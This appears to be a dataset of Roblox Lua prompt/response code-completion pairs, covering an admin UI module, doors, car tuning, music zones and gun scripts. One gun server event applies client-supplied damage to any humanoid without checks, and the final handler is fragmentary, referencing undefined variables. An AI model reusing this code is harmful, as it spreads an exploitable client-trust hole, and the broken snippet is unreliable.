		newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
		NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
		NumberSequenceKeypoint, PhysicalProperties, Region3int16,
		Vector3int16, require, table, type, wait,
		Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
		_G, game, script, getfenv, setfenv, workspace,
		getmetatable, setmetatable, loadstring, coroutine,
		rawequal, typeof, print, math, warn, error,  pcall,
		xpcall, select, rawset, rawget, ipairs, pairs,
		next, Rect, Axes, os, time, Faces, unpack, string, Color3,
		newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
		NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
		NumberSequenceKeypoint, PhysicalProperties, Region3int16,
		Vector3int16, require, table, type, wait,
		Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay

	local UIFolder = client.UIFolder

	local script = script

	local service = service
	local client = client

	local GetEnv = GetEnv

	local Anti, Core, Functions, Process, Remote, UI, Variables, Deps
	local CloneTable, TrackTask
	local function Init()
		UI = client.UI;
		Anti = client.Anti;
		Core = client.Core;
		Variables = client.Variables
		Functions = client.Functions;
		Process = client.Process;
		Remote = client.Remote;
		Deps = client.Deps;

		CloneTable = service.CloneTable;
		TrackTask = service.TrackTask;

		UI.Init = nil;
	end

	local function RunLast()
		--[[client = service.ReadOnly(client, {
				[client.Variables] = true;
				[client.Handlers] = true;
				G_API = true;
				G_Access = true;
				G_Access_Key = true;
				G_Access_Perms = true;
				Allowed_API_Calls = true;
				HelpButtonImage = true;
				Finish_Loading = true;
				RemoteEvent = true;
				ScriptCache = true;
				Returns = true;
				PendingReturns = true;
				EncodeCache = true;
				DecodeCache = true;
				Received = true;
				Sent = true;
				Service = true;
				Holder = true;
				GUIs = true;
				LastUpdate = true;
				RateLimits = true;

				Init = true;
				RunLast = true;
				RunAfterInit = true;
				RunAfterLoaded = true;
				RunAfterPlugins = true;
			}, true)--]]
			UI.DefaultTheme = Remote.Get("Setting","DefaultTheme");
			UI.RunLast = nil;
	end

	getfenv().client = nil
	getfenv().service = nil
	getfenv().script = nil

	client.UI = {
		Init = Init;
		RunLast = RunLast;
		GetHolder = function()
			if UI.Holder and UI.Holder.Parent == service.PlayerGui then
				return UI.Holder
			else
				pcall(function()if UI.Holder then UI.Holder:Destroy()end end)
				local new = service.New("ScreenGui", {
					Name = Functions.GetRandom(),
					Parent = service.PlayerGui,
				});
				UI.Holder = new
				return UI.Holder
			end
		end;

		Prepare = function(gui)
			if true then return gui end	--// Disabled

			local gTable = UI.Get(gui,false,true)
			if gui:IsA("ScreenGui") or gui:IsA("GuiMain") then
				local new = Instance.new("TextLabel")
				new.BackgroundTransparency = 1
				new.Size = UDim2.new(1,0,1,0)
				new.Name = gui.Name
				new.Active = true
				new.Text = ""

				for ind,child in ipairs(gui:GetChildren()) do
					child.Parent = new
				end

				if gTable then
					gTable:Register(new)
				end

				gui:Destroy()

				return new
			else
				return gui
			end
		end;

		LoadModule = function(module, data, env)
			data = data or {}

			local ran, func = pcall(require, module)
			local newEnv = GetEnv(env, {
				script = module,
			})

			newEnv.client = CloneTable(client)
			newEnv.service = CloneTable(service)
			newEnv.service.Threads = CloneTable(service.Threads)

			for i,v in pairs(newEnv.client) do
				if type(v) == "table" and i ~= "Variables" and i ~= "Handlers" then
					newEnv.client[i] = CloneTable(v)
				end
			end

			if ran then
				local rets = {
					TrackTask("UI: ".. module:GetFullName(),
						setfenv(func,newEnv),
						data,
						newEnv
					)
				}

				if rets[1] then
					return unpack(rets, 2)
				else
					warn("Error while running module", module.Name, rets[2])
					client.LogError("Error loading ".. module.Name .." - ".. tostring(rets[2]))
				end
			else
				warn("Error while loading module", module.Name, tostring(func))
			end
		end;

		GetNew = function(theme, name)
			local foundConfigs = {}
			local endConfig = {}
			local endConfValues = {}
			local confFolder = Instance.new("Folder")
			local debounce = false
			local function func(theme, name, depth)
				local depth = (depth or 11) - 1
				local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default
				if folder then
					local baseValue = folder:FindFirstChild("Base_Theme")
					local baseTheme = baseValue and baseValue.Value
					local foundGUI = folder:FindFirstChild(name) --local foundGUI = (baseValue and folder:FindFirstChild(name)) or UIFolder.Default:FindFirstChild(name)

					if foundGUI then
						local config = foundGUI:FindFirstChild("Config")
						table.insert(foundConfigs, {
							Theme = theme;
							Folder = folder;
							Name = name;
							Found = foundGUI;
							Config = config;
							isModule = foundGUI:IsA("ModuleScript");
						})

						if config then
							baseValue = config:FindFirstChild("BaseTheme") or baseValue
							baseTheme = baseValue and baseValue.Value
						end
					end
					if baseTheme and depth > 0 then
						if UI.DefaultTheme and baseTheme == "Default" and theme ~= UI.DefaultTheme and not debounce then
							func(UI.DefaultTheme, name, depth)
						else
							debounce = true
							func(baseTheme, name, depth)
						end
					end
				end
			end

			--// Find GUI and all default versions under it
			func(theme, name)
			confFolder.Name = "Config"

			--// Create the final config for the found GUI.

			if #foundConfigs > 0 then
				--// Combine all configs found in order  to build full config (in order of closest from target gui to furthest)
				for i,v in pairs(foundConfigs) do
					if v.Config then
						for k,m in ipairs(v.Config:GetChildren()) do
							if not endConfig[m.Name] then
								endConfig[m.Name] = m
							end
						end
					end
				end

				--// Load all config values into the new Config folder
				for i,v in pairs(endConfig) do
					v:Clone().Parent = confFolder;
				end

				--// Find next module based theme GUI if code not found or first in sequence is module (in theme)
				if foundConfigs[1].isModule then
					return foundConfigs[1].Found, foundConfigs[1].Folder, confFolder
				elseif not endConfig.Code then
					warn("Window config missing code.lua. Are your Base_Themes correct? client.UI.GetNew line 236")
				end

				--// Get rid of an old Config folder and throw the new combination Config folder in
				local new = foundConfigs[1].Found:Clone()
				local oldFolder = new:FindFirstChild'Config'

				if oldFolder then oldFolder:Destroy() end

				confFolder.Parent = new
				return new, foundConfigs[1].Folder, confFolder
			end
		end;

		Make = function(name, data, themeData)
			local data = data or {}
			local defaults = {Desktop = "Default"; Mobile = "Mobilius"}
			local themeData = themeData or Variables.LastServerTheme or defaults
			local theme = Variables.CustomTheme or (service.IsMobile() and themeData.Mobile) or themeData.Desktop
			local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default
			local newGui, folder2, foundConf = UI.GetNew(theme, name)

			if newGui then
				local isModule = newGui:IsA("ModuleScript")
				local conf = newGui:FindFirstChild("Config")
				local mod = conf and conf:FindFirstChild("Modifier")

				if isModule then
					return UI.LoadModule(newGui, data, {
						script = newGui;
					})
				elseif conf and foundConf and foundConf ~= true then
					local code = foundConf.Code
					local mult = foundConf.AllowMultiple
					local keep = foundConf.CanKeepAlive

					local allowMult = mult and mult.Value or true
					local found, num = UI.Get(name)

					if not found or ((num and num>0) and allowMult) then
						local gTable,gIndex = UI.Register(newGui)
						local newEnv = {}

						if folder:IsA("ModuleScript") then
							newEnv.script = folder
							newEnv.gTable = gTable
							local ran,func = pcall(require, folder)
							local newEnv = GetEnv(newEnv)
							local rets = {pcall(setfenv(func,newEnv),newGui, gTable, data)}
							local ran = rets[1]
							local ret = rets[2]

							if ret ~= nil then
								if type(ret) == "userdata" and Anti.GetClassName(ret) == "ScreenGui" then
									code = (ret:FindFirstChild("Config") and ret.Config:FindFirstChild("Code")) or code
								else
									return ret
								end
							end
						end

						newGui.Parent = Variables.GUIHolder
						newGui.Name = Functions.GetRandom()

						data.gIndex = gIndex
						data.gTable = gTable

						code.Parent = conf
						code.Name = name

						if mod then
							UI.LoadModule(mod, data, {
								script = mod;
								gTable = gTable;
								Data = data;
								GUI = newGui;
							})
						end

						return UI.LoadModule(code, data, {
							script = code;
							gTable = gTable;
							Data = data;
							GUI = newGui;
						})
					end
				end
			else
				print("GUI", name, "not found")
			end
		end;

		Get = function(obj,ignore,returnOne)
			local found = {}
			local num = 0
			if obj then
				for ind,g in pairs(client.GUIs) do
					if g.Name ~= ignore and g.Object ~= ignore and g ~= ignore then
						if type(obj) == "string" then
							if g.Name == obj then
								found[ind] = g
								num = num+1
								if returnOne then return g end
							end
						elseif type(obj) == "userdata" then
							if service.RawEqual(g.Object, obj) then
								found[ind] = g
								num = num+1
								if returnOne then return g end
							end
						elseif type(obj) == "boolean" and obj == true then
							found[ind] = g
							num = num+1
							if returnOne then return g end
						end
					end
				end
			end
			if num<1 then
				return false
			else
				return found,num
			end
		end;

		Remove = function(name, ignore)
			local gui = UI.Get(name, ignore)
			if gui then
				for i,v in pairs(gui) do
					v.Destroy()
				end
			end
		end;

		Register = function(gui, data)
			local gIndex = Functions.GetRandom()
			local gTable;gTable = {
				Object = gui,
				Config = gui:FindFirstChild'Config';
				Name = gui.Name,
				Events = {},
				Class = gui.ClassName,
				Index = gIndex,
				Active = true,
				Ready = function()
					if gTable.Config then gTable.Config.Parent = nil end
					local ran,err = pcall(function()
						local obj = gTable.Object;
						if gTable.Class == "ScreenGui" or gTable.Class == "GuiMain" then
							if obj.DisplayOrder == 0 then
								obj.DisplayOrder = 90000
							end

							obj.Enabled = true
							obj.Parent = service.PlayerGui
						else
							obj.Parent = UI.GetHolder()
						end
					end);

					if ran then
						gTable.Active = true
					else
						warn("Something happened while trying to set the parent of", gTable.Name)
						warn(err)

						gTable:Destroy()
					end
				end,

				BindEvent = function(event, func)
					local signal = event:Connect(func)
					local origDisc = signal.Disconnect
					local Events = gTable.Events
					local disc = function()
						origDisc(signal)
						for i,v in pairs(Events) do
							if v.Signal == signal then
								table.remove(Events, i)
							end
						end
					end

					table.insert(Events, {
						Signal = signal;
						Remove = disc
					})

					return {
						Disconnect = disc;
						disconnect = disc;
						wait = service.CheckProperty(signal, "wait") and signal.wait
					}, signal
				end,

				ClearEvents = function()
					for i,v in pairs(gTable.Events) do
						v:Remove()
					end
				end,

				Destroy = function()
					pcall(function()
						if gTable.CustomDestroy then
							gTable.CustomDestroy()
						else
							service.UnWrap(gTable.Object):Destroy()
						end
					end)
					gTable.Destroyed = true
					gTable.Active = false
					client.GUIs[gIndex] = nil
					gTable.ClearEvents()
				end,

				UnRegister = function()
					client.GUIs[gIndex] = nil
					if gTable.AncestryEvent then
						gTable.AncestryEvent:Disconnect()
					end
				end,

				Register = function(tab,new)
					if not new then new = tab end

					new:SetSpecial("Destroy", gTable.Destroy)
					gTable.Object = service.Wrap(new)
					gTable.Class = new.ClassName

					if gTable.AncestryEvent then
						gTable.AncestryEvent:Disconnect()
					end

					gTable.AncestryEvent = new.AncestryChanged:Connect(function(c, parent)
						if client.GUIs[gIndex] then
							if rawequal(c, gTable.Object) and gTable.Class == "TextLabel" and parent == service.PlayerGui then
								wait()
								gTable.Object.Parent = UI.GetHolder()
							elseif rawequal(c, gTable.Object) and parent == nil and not gTable.KeepAlive then
								gTable:Destroy()
							elseif rawequal(c, gTable.Object) and parent ~= nil then
								gTable.Active = true
								client.GUIs[gIndex] = gTable
							end
						end
					end)
					client.GUIs[gIndex] = gTable
				end
			}

			if data then
				for i,v in pairs(data) do
					gTable[i] = v
				end
			end

			gui.Name = Functions.GetRandom()
			gTable:Register(gui)

			return gTable,gIndex
		end
	}

	client.UI.RegisterGui 	= client.UI.Register
	client.UI.GetGui 		= client.UI.Get
	client.UI.PrepareGui 	= client.UI.Prepare
	client.UI.MakeGui 		= client.UI.Make
end


Prompt:
--[[ss1.Touched:connect(function()
	if IsOpen.Value == false then
		OtherDir.Value = false
		opendoor()
		wait(TimeDelay)
		closedoor()
	end
end)]]

Response:
trigger.Changed:Connect(function()
	if InUse.Value == false then
		if trigger.Value == true and IsOpen.Value == false then
			opendoor()
		elseif trigger.Value == false and IsOpen.Value == true then
			closedoor()
		end
	end
end)


Prompt: --[[Drivetrain]]

Response:
	Tune.Config			= "RWD"		--"FWD" , "RWD" , "AWD"

	--Differential Settings
	Tune.FDiffSlipThres	= 50		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 50		-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 30		-- 1 - 100%
	Tune.RDiffLockThres	= 60		-- 0 - 100%
	Tune.CDiffSlipThres	= 50		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]

	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 20		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 20		-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 10		-- Minimum amount of torque at max reduction (in percent)


Prompt: -- wrapper function

Response:
local function wrapper(child, addition)
	local this = newproxy(true);
	local mt = getmetatable(this);
	mt.__index = function(t, k) return addition[k] or child[k]; end;
	mt.__newindex = function(t, k, v) if addition[k] then addition[k] = v; else child[k] = v; end; end;
	mt.__call = function() return child; end;
	mt.__tostring = function(t) return tostring(child); end;
	mt.__metatable = "The metatable is locked.";
	return this;
end;


Prompt: -- Vérifier si le joueur possède un bras droit

Response:
if player.Character and player.Character:FindFirstChild("Right Arm") then
	rightArm = player.Character["Right Arm"]
end


Prompt:
--[[
		___      _______                _
	   / _ |____/ ___/ /  ___ ____ ___ (_)__
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]

Response:
local car = script.Parent.Car.Value
local vl = script.Parent.Values

local strength = 350

local max = 4 --in sps

while wait() do
	if car.Body.Lights.BRAKE.Material ~= Enum.Material.Neon then
		if vl.Throttle.Value < 0.1 and vl.RPM.Value > 0 and vl.Velocity.Value.Magnitude < max and (math.abs(vl.Gear.Value) > 0) then
			car.Body.Creep.BV.MaxForce = Vector3.new(strength,0,strength)
		else
			car.Body.Creep.BV.MaxForce = Vector3.new(0,0,0)
		end
		car.Body.Creep.BV.Velocity = car.Body.Creep.CFrame.lookVector*(8*(math.min(vl.Gear.Value,1)))
	else
		car.Body.Creep.BV.Velocity = Vector3.new(0,0,0)
	end
end


Prompt: --now, get to playing the music

Response:
local FadeoutTime = settings.MusicFadeoutTime

function PlaySound(sounddata)
	if sounddata == nil then return end
	local sound = Instance.new("Sound")
	sound.Looped = true
	sound.SoundId = sounddata.SoundId
	sound.Volume = musicon and sounddata.Volume or 0
	local v = Instance.new("NumberValue",sound)
	v.Name = "OriginalVolume"
	v.Value = sounddata.Volume
	sound.Pitch = sounddata.Pitch
	sound.Name = "BGM"
	sound.Parent = script
	sound:Play()
end

function FadeOutSound(sound)
	local basevol = sound.Volume
	local count = math.ceil(30*FadeoutTime)
	if count < 1 then
		count = 1
	end
	for i=1,count do
		if sound then
			sound.Volume = sound.Volume - (basevol / count)
			wait(1/30)
		end
	end
	if sound then
		sound:Stop()
		sound:Destroy()
	end
end

if settings.UseGlobalBackgroundMusic == true and settings.UseMusicZones == false then
	if #music[globali] == 1 then --global BGM with just 1 song? ez pz
		PlaySound(music[1][1])
		return
	elseif #music[globali] == 0 then --there's no music to play...?
		return
	end
end

local recentindices = {} --keeps track of recently selected indicies, so as not to play repeat music tracks
math.randomseed(tick())
local currentzone
local zoneplayingmusic

function CheckIfRecent(i)
	for _,v in pairs(recentindices) do
		if v == i then
			return true
		end
	end
	return false
end

function SelectRandomMusic(musiclist) --select a random number, excluding ones that were already used recently
	if musiclist == nil or #musiclist == 0 then return end
	local possiblenumbers = {}
	local selectedindex
	for i=1,#musiclist do
		if not CheckIfRecent(i) then
			table.insert(possiblenumbers,i)
		end
	end
	local selectedindex = possiblenumbers[math.random(1,#possiblenumbers)]
	table.insert(recentindices,selectedindex)
	if #recentindices > math.ceil(#musiclist / 2) then
		table.remove(recentindices,1)
	end
	return musiclist[selectedindex]
end

function IsInZone(zonedata)
	if torso and torso.Parent ~= nil then
		local p = torso.Position
		for _,data in pairs(zonedata["Parts"]) do
			if data["Coordinates"] then
				local t = data["Coordinates"]
				if (p.x > t.lx and p.x < t.mx and p.y > t.ly and p.y < t.my and p.z > t.lz and p.z < t.mz) then --is the character within all the coordinates of the zone?
					return true
				end
			elseif data["Part"] then --complex part? create a clone of the part and check if it's touching the character's torso
				local part = data["Part"]:clone()
				part.Anchored = true
				part.Parent = workspace.CurrentCamera or workspace
				part.CanCollide = true
				local touching = part:GetTouchingParts()
				part:Destroy()
				for _,v in pairs(touching) do
					if v == torso then
						return true
					end
				end
			end
		end
		return false
	end
end

function CalculateCurrentZone()
	local priority = -math.huge
	local oldzone = currentzone
	local selectedzone
	if currentzone then
		if IsInZone(currentzone) then
			selectedzone = currentzone
			priority = currentzone["Priority"]
		end
	end
	for _,zone in pairs(zones) do
		if zone["Priority"] > priority and IsInZone(zone) then
			priority = zone["Priority"]
			selectedzone = zone
		end
	end
	currentzone = selectedzone
	if currentzone ~= oldzone and (currentzone ~= nil or settings.UseGlobalBackgroundMusic == true) then
		recentindices = {}
	end
	return currentzone,oldzone
end

function RunCycle() --the main cycle which will continuously run, checking which zones (if any) the character is in and playing new music when necessary
	local bgm = script:FindFirstChild("BGM")
	if settings.UseMusicZones == true then
		local zone,oldzone = CalculateCurrentZone()
		if zone ~= oldzone and zone ~= zoneplayingmusic and bgm then
			if (zone == nil and (settings.UseGlobalBackgroundMusic == true or settings.MusicOnlyPlaysWithinZones == true)) or zone ~= nil then
				FadeOutSound(bgm)
				return
			end
		elseif zone and bgm == nil then
			PlaySound(SelectRandomMusic(zone["Music"]))
			zoneplayingmusic = zone
			return
		elseif zone == nil and oldzone and settings.MusicOnlyPlaysWithinZones == false and settings.UseGlobalBackgroundMusic == false and bgm == nil then
			PlaySound(SelectRandomMusic(oldzone["Music"]))
			zoneplayingmusic = oldzone
			return
		elseif zoneplayingmusic and settings.MusicOnlyPlaysWithinZones == false and settings.UseGlobalBackgroundMusic == false and bgm == nil then
			PlaySound(SelectRandomMusic(zoneplayingmusic["Music"]))
			return
		elseif settings.UseGlobalBackgroundMusic == true and bgm == nil then
			PlaySound(SelectRandomMusic(music[globali]))
			zoneplayingmusic = nil
			return
		end
	elseif bgm == nil and settings.UseGlobalBackgroundMusic == true then
		PlaySound(SelectRandomMusic(music[globali]))
		return
	end

	if bgm and (settings.UseGlobalBackgroundMusic == true and zoneplayingmusic == nil and #music[globali] > 1) or (zoneplayingmusic and #zoneplayingmusic["Music"] > 1) then
		local length = bgm.TimeLength
		local pos = bgm.TimePosition
		if length ~= 0 and length - pos < FadeoutTime + .5 then
			FadeOutSound(bgm)
		end
	end
end

while wait(.5) do
	RunCycle()
end


Prompt:
-- Creates "bullet". No projectile motion is actually used. Pistol raytraces to target and creates
-- a tracer trail to the target. Fading trail gives illusion of motion.

Response:
local function createBullet(target)
	-- Get actual handle position. Want to offset from the center of the handle as the bullet comes
	-- from the barrel of the gun
	local handlePos = tool.Handle.CFrame + tool.Handle.CFrame:vectorToWorldSpace(Vector3.new(0,0,.3))
	local toTarget = handlePos:vectorToWorldSpace(Vector3.new(0,1,0)) * 200
	local torsoLook = (tool.Parent:FindFirstChild("Torso").CFrame.lookVector * Vector3.new(1,0,1)).unit
	local toTargetAngle = (toTarget * Vector3.new(1,0,1)).unit
	local angle = math.acos(torsoLook:Dot(toTargetAngle))

	-- Checks angle from where the character is facing to the orientation of the pistol. If the angle
	-- is less than 90 degress then we shoot to where the mouse is pointing (helps accuracy). Otherwise
	-- the gun is assumed at the edge of its rotation and just shoots straight.
	if math.deg(angle) < 90 then
		toTarget = target - tool.Handle.Position
		if toTarget.magnitude > range then
			toTarget = toTarget.unit * range
		end
		toTarget = toTarget * 1.1
	end

	-- Shoot ray and check if humanoid was hit. If so, it should take damage
	local ray = Ray.new(handlePos.p, toTarget)
	local part, position = game.Workspace:FindPartOnRay(ray, tool.Parent)
	if part and part.Parent and part.Parent:FindFirstChild("Humanoid") then
		part.Parent:FindFirstChild("Humanoid"):TakeDamage(damage)
	end

	if position then
		toTarget = position - handlePos.p
	end

	-- Create tracer trail. Trail is made of thin parts 2 studs long. Fades each segment
	-- starting with closest tracer to the tool.
	local bulletTrail = Instance.new("Model", game.Workspace)
	local trailTable = {}
	-- Fetch decal from server storage
	local decal = game.ServerStorage.ROBLOX_PistolTracerDecal
	for i = 0, toTarget.magnitude/2, 1 do
		local trailSegment = Instance.new("Part", bulletTrail)
		trailSegment.CanCollide = false
		trailSegment.Anchored = true
		trailSegment.FormFactor = Enum.FormFactor.Custom
		trailSegment.Size = Vector3.new(.1,.1,2)
		trailSegment.BrickColor = BrickColor.White()
		trailSegment.CFrame = CFrame.new(handlePos.p + (toTarget.unit * 2 * (i + .5)), handlePos.p)
		trailSegment.Transparency = 1

		-- Add point light to tracer for a little illumination
		local light = Instance.new("PointLight", trailSegment)
		light.Range = 3

		-- Add decal to faces of the part
		local function addDecal(face)
			local decalClone = decal:Clone()
			decalClone.Parent = trailSegment
			decalClone.Face = face
		end

		addDecal(Enum.NormalId.Top)
		addDecal(Enum.NormalId.Bottom)
		addDecal(Enum.NormalId.Left)
		addDecal(Enum.NormalId.Right)

		-- Add segment to all of the tracers
		table.insert(trailTable, trailSegment)
	end

	-- Coroutine thread to fade each trail segment. Put in coroutine so it does not
	-- block the rest of the pistol's script
	local fadeThread = coroutine.create(function()
		local count = 1
		local ended = false
		-- Keep looping until end condition is met
		while not ended do
			-- Assume end condition is met. Easier to switch it off later if we need to
			-- keep looping
			ended = true
			-- Loop through every part in the trail
			for index, part in pairs(trailTable) do
				if index <= count then
					local shouldDestroy = false
					for _, face in pairs(part:GetChildren()) do

						if face:IsA("Decal") then
							-- Increase decal transparencies and use this to determine if
							-- segment has completely faded
							face.Transparency = face.Transparency + .05
							if face.Transparency < 1 then
								ended = false
							else
								shouldDestroy = true
							end
						else
							-- Dim the point light
							face.Brightness = face.Brightness - .1
						end
					end
					-- If segment is completely faded then clean it up
					if shouldDestroy then
						table.remove(trailTable, index)
						part:Destroy()
					end
				end
			end
			count = count + 1
			wait()
		end
		bulletTrail:Destroy()
	end)
	coroutine.resume(fadeThread)
end


Prompt: --// Events

Response:
L_34_.OnServerEvent:connect(function(L_84_arg1)
	for L_85_forvar1, L_86_forvar2 in pairs(L_30_:GetChildren()) do
		if L_86_forvar2.Name:sub(1, 7) == "FlashFX" then
			L_86_forvar2.Enabled = true
		end
	end;

	delay(1 / 30, function()
		for L_87_forvar1, L_88_forvar2 in pairs(L_30_:GetChildren()) do
			if L_88_forvar2.Name:sub(1, 7) == "FlashFX" then
				L_88_forvar2.Enabled = false
			end
		end
	end);
end)

local L_52_
L_35_.OnServerEvent:connect(function(L_89_arg1, L_90_arg2, L_91_arg3)
	L_90_arg2:TakeDamage(L_91_arg3)
	if L_90_arg2.Health <= 0 and L_90_arg2 ~= L_52_ then
		if L_4_ and L_4_:FindFirstChild(L_2_.Name) then
			local L_92_ = L_4_[L_2_.Name]
			L_92_.Value = not L_92_.Value
		end
		L_39_:FireClient(L_89_arg1)
		L_52_ = L_90_arg2
	end
end)

L_36_.OnServerEvent:connect(function(L_93_arg1, L_94_arg2)
	local L_95_ = Instance.new("ObjectValue")
	L_95_.Name = "creator"
	L_95_.Value = L_93_arg1
	L_95_.Parent = L_94_arg2
	game.Debris:AddItem(L_95_, 3)
end)

L_37_.OnServerEvent:connect(function(L_96_arg1, L_97_arg2, L_98_arg3)
	local L_99_ = L_96_arg1.Character
	local L_100_ = L_99_:FindFirstChild('Torso')
	local L_101_ = L_99_:FindFirstChild('HumanoidRootPart'):FindFirstChild('RootJoint')
	local L_102_ = L_100_:FindFirstChild('Right Hip')
	local L_103_ = L_100_:FindFirstChild('Left Hip')
	local L_104_ = L_100_:FindFirstChild('Clone')

	if L_97_arg2 == "Prone" and L_99_ and L_104_ then
		L_101_.C0 = CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195)
		L_102_.C0 = CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009)
		L_103_.C0 = CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009)
		L_104_.C0 = CFrame.new(0, -2.04640698, -0.799179077, -1, 0, -8.57672189e-15, 8.57672189e-15, 0, 1, 0, 1, 0)
	elseif L_97_arg2 == "Crouch" and L_99_ and L_104_ then
		L_101_.C0 = CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015)
		L_102_.C0 = CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0)
		L_103_.C0 = CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0)
		L_104_.C0 = CFrame.new(0, -0.0399827957, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
	elseif L_97_arg2 == "Stand" and L_99_ and L_104_ then
		L_101_.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
		L_102_.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
		L_103_.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
		L_104_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
	elseif L_97_arg2 == "LeanRight" then
		L_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0)
		L_102_.C1 = CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0)
		L_104_.C1 = CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
	elseif L_97_arg2 == "LeanLeft" then
		L_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0)
		L_103_.C1 = CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0)
		L_104_.C1 = CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
	elseif L_97_arg2 == "Unlean" then
		L_101_.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
		L_102_.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
		L_103_.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
		if L_100_:FindFirstChild('Clone') then
			L_104_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
		end
	elseif L_97_arg2 == "Patrol" then
		L_19_.C1 = L_98_arg3
	elseif L_97_arg2 == "Unpatrol" then
		L_19_.C1 = CFrame.new()
	end
end)

L_38_.OnServerInvoke = function(L_105_arg1, L_106_arg2, L_107_arg3, L_108_arg4, L_109_arg5, L_110_arg6, L_111_arg7)

	local L_114_ = Instance.new("PointLight", L_112_)
	L_114_.Color = Color3.new(0, 0, 0)
	L_114_.Range = 0
	L_114_.Shadows = true

	for L_117_forvar1, L_118_forvar2 in pairs(game.Players:GetChildren()) do
		if L_118_forvar2:IsA('Player') and L_118_forvar2.Character and L_118_forvar2.Character.HumanoidRootPart and (L_118_forvar2.Character.HumanoidRootPart.Position - L_106_arg2).magnitude <= 30 then
			local L_119_ = Instance.new("Sound")
			L_119_.Name = "Crack"

			if L_111_arg7.Material == Enum.Material.Grass or L_111_arg7.Material == Enum.Material.Ice or L_111_arg7.Material == Enum.Material.Fabric or L_111_arg7.Material == Enum.Material.Pebble then
				L_119_.SoundId = "rbxassetid://" .. L_45_[math.random(1, #L_45_)]
			end

			if L_111_arg7.Material == Enum.Material.Sand then
				L_119_.SoundId = "rbxassetid://" .. L_46_[math.random(1, #L_46_)]
			end

			if L_111_arg7.Material == Enum.Material.Glass or L_111_arg7.Material == Enum.Material.Neon then
				L_119_.SoundId = "rbxassetid://" .. L_47_[math.random(1, #L_47_)]
			end

			if L_111_arg7.Material == Enum.Material.Wood or L_111_arg7.Material == Enum.Material.WoodPlanks then
				L_119_.SoundId = "rbxassetid://" .. L_48_[math.random(1, #L_48_)]
			end

			if L_111_arg7.Material == Enum.Material.Metal or L_111_arg7.Material == Enum.Material.CorrodedMetal or L_111_arg7.Material == Enum.Material.DiamondPlate then
				L_119_.SoundId = "rbxassetid://" .. L_49_[math.random(1, #L_49_)]
			end

			if L_111_arg7.Material == Enum.Material.Water then
				L_119_.SoundId = "rbxassetid://" .. L_50_[math.random(1, #L_50_)]
			end

			if L_111_arg7.Material == Enum.Material.Concrete or L_111_arg7.Material == Enum.Material.Plastic or L_111_arg7.Material == Enum.Material.SmoothPlastic or L_111_arg7.Material == Enum.Material.Slate or L_111_arg7.Material == Enum.Material.Foil or L_111_arg7.Material == Enum.Material.Brick or L_111_arg7.Material == Enum.Material.Granite or L_111_arg7.Material == Enum.Material.Marble or L_111_arg7.Material == Enum.Material.Cobblestone then
				L_119_.SoundId = "rbxassetid://" .. L_51_[math.random(1, #L_51_)]
			end

			L_119_.EmitterSize = 10
			L_119_.MaxDistance = 30
			L_119_.Parent = L_118_forvar2.PlayerGui
			L_119_:play()

		end
	end;

	local L_115_
	local L_116_

end;

